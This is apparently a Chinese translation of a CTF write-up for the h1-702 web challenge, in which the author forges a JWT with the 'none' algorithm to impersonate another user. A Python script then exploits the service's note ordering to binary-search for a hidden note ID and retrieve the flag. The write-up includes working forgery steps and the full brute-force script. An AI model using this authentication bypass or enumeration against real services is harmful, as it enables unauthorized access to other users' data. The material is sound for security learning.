欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

h1–702 CTF — Web挑战Write Up

程序员文章站 2022-05-16 09:10:18
...

原文链接:https://medium.com/@amalmurali47/h1-702-ctf-web-challenge-write-up-53de31b2ddce


当你打开挑战链接时会看到以下内容:

可以在挑战网站上找到提示:http://159.203.178.9/

用浏览器打开网站,你会看到一个常规的HTML欢迎页面:

h1–702 CTF — Web挑战Write Up

看上去有一个秘密服务用来存储笔记。标题说明它与RPC有关。

考虑到去年的题目,我认为它可能被藏在80之外的端口上。于是做了个基本的nmap端口扫描:

nmap -sT 159.203.178.9 -p1-65535

没想到,只有80和22端口打开着。

试过几个涌现在脑海的目录后,比如/xmlrpc.php、/notes、/rpc等,我放弃了并决定直接暴力**。

我使用工具dirsearch并拿Jason Haddix的content_discovery_all.txt作为字典:

python3 dirsearch.py -u http://159.203.178.9/ -t 50 -w content_discovery_all.txt -e 'php'

过了几分钟。扫描结束了,我得到两个结果!

  1. /README.html
  2. /rpc.php

来看看这些uri都有些什么。

深挖

README页面的标题显示“Notes RPC Documentation”。该页面说:

This service provides a way to securely store notes. It’ll give them the ability to retrieve them at a later point. The service will return random keys associated with the notes. There’s no way to retrieve a note once the key has been destroyed. The RPC interface is exposed through the /rpc.php file. A call can be invoked through the method parameter. Each note is stored in a secure file that consists of a unique key, the note, and the epoch of when the note was created.

Authenticating to the service can be done through the Authorization header. When provided a valid JWT, the service will authenticate the user and allow to query metadata, retrieve a note, create new notes, and delete all notes.

(翻译)
本服务保证笔记的安全存储。它会让笔记在后续可被读取。服务将返回与笔记相关联的随机**。一旦**被销毁,就无法读取笔记。 RPC接口暴露在/rpc.php文件,可以通过method参数调用。每个笔记都存储在一个安全文件中,文件由唯一键、笔记和创建笔记的纪元时间组成。

服务通过Authorization请求头对用户进行身份验证。当提供有效的JWT时,该服务将对用户进行身份验证,并允许查询元数据、读取笔记、创建新笔记以及删除所有笔记的操作。

该服务需要有效的JWT(JSON Web令牌)才能执行身份验证。我们可以在服务中做以下操作:

  • 查询所有笔记的元数据
  • 读取笔记
  • 创建一个新笔记
  • 删除所有笔记

其他没什么好看的。在标题“Versioning”下面提到了以下内容:

The service is being optimized continuously. A version number can be provided in the Accept header of the request. At this time, only application/notes.api.v1+jsonis supported.

(翻译)
该服务正在不断优化。通过请求的Accept标头中可以获得版本号。目前,仅支持application/notes.api.v1+json的类型。

似乎没必要指出只允许JWT v1,有点奇怪。但是现在我要尝试理解API的工作原理了。

createNote()

我尝试用cURL来创建笔记:

curl 'http://159.203.178.9/rpc.php?method=createNote'
    -H 'Content-Type: application/json'     
    -H 'Authorization:eiOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"note": "This is my note"}'

响应如下:

{"url":"\/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6"}

不出意料,文档中也提到“如果没有指定ID,将填充16位随机数”。如果我们指定任意ID会发生什么?

curl 'http://159.203.178.9/rpc.php?method=createNote'    
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'     
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"id":"test", "note": "This is my note"}'

这次响应变成:

{"url":"\/rpc.php?method=getNote&id=test"}

nice!我们自己选择ID。

getNote()

如果你用getNote()访问同一笔记,会得到什么呢?

curl 'http://159.203.178.9/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6'     
    -H 'Content-Type: application/json'     
    -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'

响应如下:

{"note":"This is my note","epoch":"1530279830"}

nice!但epoch的值又是什么呢?看上去像笔记创建时的时间戳,我使用date -r很快验证了这一想法。

getNotesMetaData()

再来试试访问笔记的元数据:

curl 'http://159.203.178.9/rpc.php?method=getNotesMetadata'    
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'

得到如下响应:

{"count":1,"epochs":["1530279830"]}

看上去count代表笔记的数量,epochs是已存在笔记的epoch数组。

我们来创建更多的笔记看会发生什么,我重放了多次createNote()请求并查询了元数据:

{"count":4,"epochs":["1530279830","1530281119","1530281120","1530281121"]}

就像我猜的,数量增加了,笔记时间的顺序也是单调递增。最后添加的epoch排在数组的末尾。

再来试试重置笔记。

curl 'http://159.203.178.9/rpc.php?method=resetNotes'     
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'     
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"note": "This is my note"}'

对应的响应:

{"reset": true}

没啥亮点。只是为了确认,我检查了元数据,果然,我创建的所有笔记现在都消失了。

所以我们已经测试了服务中的所有方法,然后呢?让我们看看是否可以打破它。

我尝试更改Content-Types、完全删除Authorization头、重放请求并保持请求头长度不变但只改一个字符等办法,但都没有效果 - 它响应
{"authorization":"is invalid"}{"authorization":"is missing"}。还是别侥幸了。

重新挖掘

我打开Burp并测试了各种方法来产生异常,但看不出任何异常或奇怪的东西。貌似我错过了本题很重要的线索。虽然应用程序本身很小,但我可能忽略了什么东西。根据大学时期的在线挖洞经验,我偶然查看了README.html的源代码,并按Ctrl + F查找<!--'看是否有隐藏的注解。哈!果然有东西。

h1–702 CTF — Web挑战Write Up

隐藏在明文中…但却看不见。我应该早点看到这个,但迟到总比没有好。这表明我最初对API版本描述的怀疑是正确的——API v2有不一样的地方。它们使用“优化的文件格式,在保存之前根据其唯一键值对笔记进行排序”。我google了一下,看看是否有这样的文件格式。在我的一次搜索中,我找到了Amazon RedShift:

Amazon Redshift stores your data on disk in sorted order according to the sort key.

(翻译)
Amazon Redshift依据排序键对你的数据排序并存储入硬盘。

我后来意识到思路不对。为什么不直接用Fiddler抓包查看API v2?

我重复了之前的过程:

  • 创建笔记会得到一个包含id参数的url
  • 获取笔记内容会得到笔记(笔记内容)和epoch(时间戳)。
  • 获取笔记的元数据的响应似乎没变。
  • 重置笔记,将所有内容重置为初始状态。

一切似乎与v1相同。但是他们已经提到v2正在使用一些花哨的排序功能——那么测试一下。文档中说该方法“在保存之前根据其唯一键对笔记进行排序”。好吧,每个笔记都有两个参数——笔记的ID(可以自己指定)和笔记内容。这里的唯一键是笔记ID,这是符合逻辑。让我们尝试用随机ID创建更多笔记,看看我们是否能找到一些东西。

看样子要做好多手工工作,我讨厌一遍又一遍地重复相同的事情——更改ID等等。我是自动化的忠实粉丝,用脚本可以做得更好。所以我使用requests库和内置的json库快速写了一个Python脚本。

它看起来像这样:

#!/usr/bin/env python3

import json
import requests as rq
from base64 import b64decode


def rpc(method, data=None, post=False):
    headers = {
        'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak',
        'Content-Type': 'application/json',
        'Accept': 'application/notes.api.v1+json',
    }

    url = 'http://159.203.178.9/rpc.php?method={}'.format(method)

    if data:
        data = json.dumps(data)
        if post:
            # POST with params
            headers['Content-Length'] = str(len(data))
            return rq.post(url, headers=headers, data=data)
        else:
            # GET with params
            return rq.get(url, params=json.loads(data), headers=headers)
    elif post:
        # POST without params
        return rq.post(url, headers=headers)

    # GET request without params
    return rq.get(url, headers=headers)


def get_note(ident):
    r = rpc('getNote', data={'id': ident})
    print(r.text)
    if r.status_code == 200:
        return r.json()['note']


def epochs():
    r = rpc('getNotesMetadata')
    if r.status_code == 200:
        return r.json()['epochs']
    return None


def reset():
    r = rpc('resetNotes', post=True)
    if r.status_code == 200:
        return r.json()['reset']
    return None


def create(ident, note='a'):
    r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
    if r.status_code == 400:
        return False
    elif r.status_code == 201:
        return True
    return None

其实是对API函数做封装。现在,我们可以更轻松地与RPC轻松交互:

  • create(id)将创建具有指定ID的笔记。
  • epochs()会给你一个时间戳列表
  • reset()将重置笔记并恢复初始状态。

现在从刚才停下的地方开始——随机ID创建笔记。我们用字母表作为ID创建一些笔记:

def main():
    reset()
    for i in 'abcdefghijklmnopqrstuvwxyz':
        create(i)
        print(epochs())
        sleep(1)

if __name__ == '__main__':
    main()

响应结果如下:

['1530286994']
['1530286994', '1530286996']
['1530286994', '1530286996', '1530286998']
['1530286994', '1530286996', '1530286998', '1530287000']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002', '1530287004']
... so on ...

和之前一样,最后创建的笔记添加在数组末尾。我用其他随机字符串、数字等继续测试一段时间。毫无头绪!

我开始思考这道题的意图。显然其他人做这道题,但我能够创建仅与我的会话相关的独特笔记。

如果用户身份验证是基于某些请求头,我可能会伪造一些请求头来规避验证。我尝试过HostX-Forwarded-Host,但无济于事。经过一些尝试,我得出结论,这可能是基于IP的身份验证。

我觉得是时候回退,看看是否错过了一些重要的东西(我经常这样做)。我再次阅读文档,这次更仔细。关于JWT的部分引起了我的注意,我没有过多探索那条路线。

关注JWT

那什么是JWT?直接引用jwt.io的话(谢谢Auth0建立这个神器的网站):

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.

(翻译)
JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且独立的方式,用于在各方之间以JSON对象的形式安全地传输信息。此信息可以通过数字签名进行验证和信任。 JWT可以使用秘密(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。

来自*的解释:

JWTs generally have three parts: a header, a payload, and a signature. The header identifies which algorithm is used to generate the signature, and looks something like this:

(翻译)
JWT通常有三个部分:头,有效负载和签名。标头记录用于生成签名的算法,看起来像这样:

header = '{"alg":"HS256","typ":"JWT"}'

让我们回过头查看JWTAuthorization头。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpZCI6Mn0.
t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak

这就是我们的JWT(为了易读性做了换行)。第一部分是头,第二部分是有效负载,第三部分是签名。 签名计算方式如下:

key                = 'secretkey' 
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) 
signature        = HMAC-SHA256(key, unsignedToken)

既然已知头、负载是base64编码的,我们马上得到实际值:

$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | base64 -D {"typ":"JWT","alg":"HS256"}

同样操作:

$ echo 'eyJpZCI6Mn0=' | base64 -D 
{"id":2}

可以看到那里有一个ID!我认为可以假设它是用户ID,那么一直以来,我们一直在创建/查看/重置用户ID 2的注释。

(注意,我将填充=添加到上面的base64字符串。虽然根据RFC 7515,填充在JWT中是可选的,但在解码时,还是要提供填充以便返回正确的字符串表示。)

我们可以使用jwt.io提供的调试器来代替人工操作。

h1–702 CTF — Web挑战Write Up

我们可以尝试将ID改成别的,例如id=1。

但是有一个问题。服务器要验证签名。我们需要对载荷{"id": 2}签名。为此,我们需要用于创建签名的**,但却不知道。

在某些情况下**用弱密码签名的JWT是可能的。我花了一些时间来**JWT。没有用,所以我开始寻找与JWT相关的漏洞。

有趣的是,我发现了一个none算法。它被用在已经验证过Token完整性的情况。它和HS256是必须实现的两种算法。

如果服务器的JWT实现是:所有验证过签名的Token在使用none算法后为有效令牌,我们就可以使用任意负载创建自己的“签名”令牌。

创建这样的令牌非常简单:

  • 将标题更改为{"alg": "none"},而不是HS256。
  • 将有效负载更改为{"id": 1}
  • 设置空签名''

让我们使用可用的JWT模块做这事(我使用的是PyJWT):

In [1]: import jwt 
In [2]: encoded = jwt.encode({"id": 1}, '', algorithm='none') 
In [3]: encoded 
Out[3]: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.'

现在我们有了JWT,就可以在用户id为1的会话下创建笔记;我们要做的就是将Authorization标头更改为这个新制作的JWT。

我首先像以前一样使用小写字母进行测试,结果一样——它不断将新笔记的时间戳添加到数组末尾。如果我尝试使用大写字母呢?

['1528911533']  # Initial state
['1530295850', '1528911533'] # After inserting note with id = 'A'
['1530295850', '1530295852', '1528911533'] # B
['1530295850', '1530295852', '1530295854', '1528911533'] # C
['1530295850', '1530295852', '1530295854', '1530295856', '1528911533'] # D
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533'] # E
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', **'1530295860'**] # F
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', '1530295860', '1530295862'] # G

1530295860出现的形式不同(特别是在插入F之后)。它没有被插入到最后。好吧,怎么可能?!

突破

经过一番思考后,我惊奇地发现这些笔记是按字典顺序排列的!

假设笔记的ID为bar。然后,如果我们添加的新笔记ID的字典顺序<(读作:小于)bar(例如abc),它将被插入到bar之前的位置;如果它是的字典顺序> bar(例如zap),它将在bar之后插入。

所以在作比较时有某种特殊的排序功能。我们开始深入了解。好吧,我们可以查看源代码,看看它是如何工作的,但我们只是凡人—— 我们无法访问源代码(Frans Rosen正在看着你)。因此,我插入更多的随机笔记(不算非常随机,我挑选了些可以让我深入了解排序功能的样本)。

我检查了各种字母序列的顺序(好吧,我写了一个小脚本),并得到以下输出:

['00', '000', '01', '001', '09', '0Z', '0a', '0z', 'A', 'A9', 'AA', 'AZ', 'Az', '<secret>', 'Z', 'ZZ', '0', 'a', 'a0', 'a1', 'a9', 'aZ', 'aa', 'ab', 'az', 'b', 'c', 'z', 'zz', '1', '9', '99']

<secret>是保存秘密记录的ID。一开始我没看明白,但如果忽略第一个的首字母,那一切看起来就很正常一致了。如果我不忽略第一个字母,由于某种原因,1和9就在右边那边。

通过深入测试,我得到以下结论:

  • ab < abc < ac
  • ab < abc
  • a9b < 0z
  • a < aa
  • aa < aaa
  • 等等…

从技术上来说,这并不是排序算法的一个小bug,我相信H1的邪恶人士想要让题目变得更难,所以他们可能会加入这种“混淆”。

如果我们要重构服务中使用的比较功能,我们可以这样写:

letters = 'abcdefghijklmnopqrstuvwxyz'
letters = letters.upper() + letters

#  1 if a > b
#  0 if a = b
# -1 if a < b

def compare(string_a, string_b):
    global letters

    for i, (a, b) in enumerate(zip(string_a, string_b)):
        if i == 0:
            alpha = '0123456789' + letters
        else:
            alpha = letters + '0123456789'

        a_ind, b_ind = alpha.index(a), alpha.index(b)
        if a_ind < b_ind:
            return -1
        elif a_ind > b_ind:
            return 1

    if len(a) < len(b):
        return -1
    elif len(a) > len(b):
        return 1

    return 0

好的。现在我们知道键值是如何比较了,可以开始寻找键值(ID)了。

暴力**

我们从文档中了解到一些:

  • ID必须匹配该正则表达式[a-zA-Z0-9] +
  • ID可以超过16个字节。

一种简单的方法是尝试每一个可能的键。这需要花费很多时间和请求。

我们总结一下:

  • 我们需要创建自定义ID的新笔记,并推断我们的秘密笔记是在它之前还是之后。
  • 我们只能使用比较运算符。
  • 搜索空间已知——[a-zA-Z0-9] +

这不就是二分查找!从现在开始,它变得非常简单。我们只需要脚本化地暴力**,并引入二分查找。

我的脚本(brute_secret_note.py)像这样:

#!/usr/bin/env python3

import json
from base64 import b64decode

import requests as rq


def rpc(method, data=None, post=False):
    headers = {
        'Authorization': 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.',
        'Content-Type': 'application/json',
        'Accept': 'application/notes.api.v2+json',
    }

    url = 'http://159.203.178.9/rpc.php?method={}'.format(method)

    if data:
        data = json.dumps(data)
        if post:
            # POST with params
            headers['Content-Length'] = str(len(data))
            return rq.post(url, headers=headers, data=data)
        else:
            # GET with params
            return rq.get(url, params=json.loads(data), headers=headers)
    elif post:
        # POST without params
        return rq.post(url, headers=headers)

    # GET request without params
    return rq.get(url, headers=headers)


def get_note(ident):
    r = rpc('getNote', data={'id': ident})
    if r.status_code == 200:
        return r.json()['note']


def epochs():
    r = rpc('getNotesMetadata')
    if r.status_code == 200:
        return r.json()['epochs']
    return None


def reset():
    r = rpc('resetNotes', post=True)
    if r.status_code == 200:
        return r.json()['reset']
    return None


def create(ident, note='a'):
    r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
    if r.status_code == 400:
        return False
    elif r.status_code == 201:
        return True
    return None


def where(a, b):
    for i, (x, y) in enumerate(zip(a, b)):
        if x != y:
            return i
    return min(len(a), len(b))


def search(head, secret=0):
    if head is '':
        alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    else:
        alpha = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

    i_min, i_max = 0, len(alpha) - 1
    old_epochs = epochs()
    tries = []

    while i_min + 1 != i_max:
        print('Search space: ', end='')
        for i, c in enumerate(alpha):
            print(['\x1B[0m', '\x1B[7m'][(i_min <= i) and (i <= i_max)] + c, end='')
        print('\x1B[0m')

        i = (i_max + i_min) // 2

        print('Trying', head + alpha[i])
        r = create(head + alpha[i])

        new_epochs = epochs()
        ind = where(old_epochs, new_epochs)
        old_epochs = new_epochs

        if r is None:
            print('Something has gone terribly wrong.')
            exit(1)
        elif r is False:
            secret_note_id = head + alpha[i]
            return secret_note_id

        if ind <= secret:
            secret += 1
            i_min = i
        elif ind > secret:
            i_max = i

    return search(head + alpha[i_min], secret)


reset()
secret_note_id = search('')
print('\nFound secret note ID: {}'.format(secret_note_id))

encoded_flag = get_note(secret_note_id)
decoded_flag = b64decode(encoded_flag).decode('utf-8')
print(u'\nFlag found ????????????: {}'.format(decoded_flag))

运行脚本:

python3 brute_secret_note.py

工作原理

search()是这里最重要的函数。将search()想象为只查找最后一个字母更容易理解,然后让它调用自己。第一个if语句的存在是因为第一个字母的排序与其余字母的排序不同。对于第一个字母,'0'>'z',但对于其余的字母,'0'是可能的最小字母。

它是挨个字母比较的,然后下一个,依此类推。它首先检查第一个字母,然后检查下一个字母等。例如:'abc'>'abb'>'aac'

alpha只是按顺序排列的字母数组。 i_mini_max是我们正在查看的字母表中的边界。

首先,所有字母都在考察范围内。i_min为0,i_max是最后一个字母。使用二分搜索,把第一个字母放在范围中间。 (i_min + i_max)// 2用于查找此中间值。然后我添加头部(最初是一个空字符串)和找到的字符以形成一个笔记ID并创建一个带有该ID的注释。

search()函数的最后一部分设置了下一次迭代的边界。当createNote()返回false时,意味着我们已到达结尾,因此返回它。

一旦我们找到了秘密ID,我们用该ID调用getNote(),对它进行base64解码,然后我们得到了这个flag:

702-CTF-FLAG:NP26nDOI6H5ASemAOW6g

h1–702 CTF — Web挑战Write Up

脚本运行动画

【演示视频链接】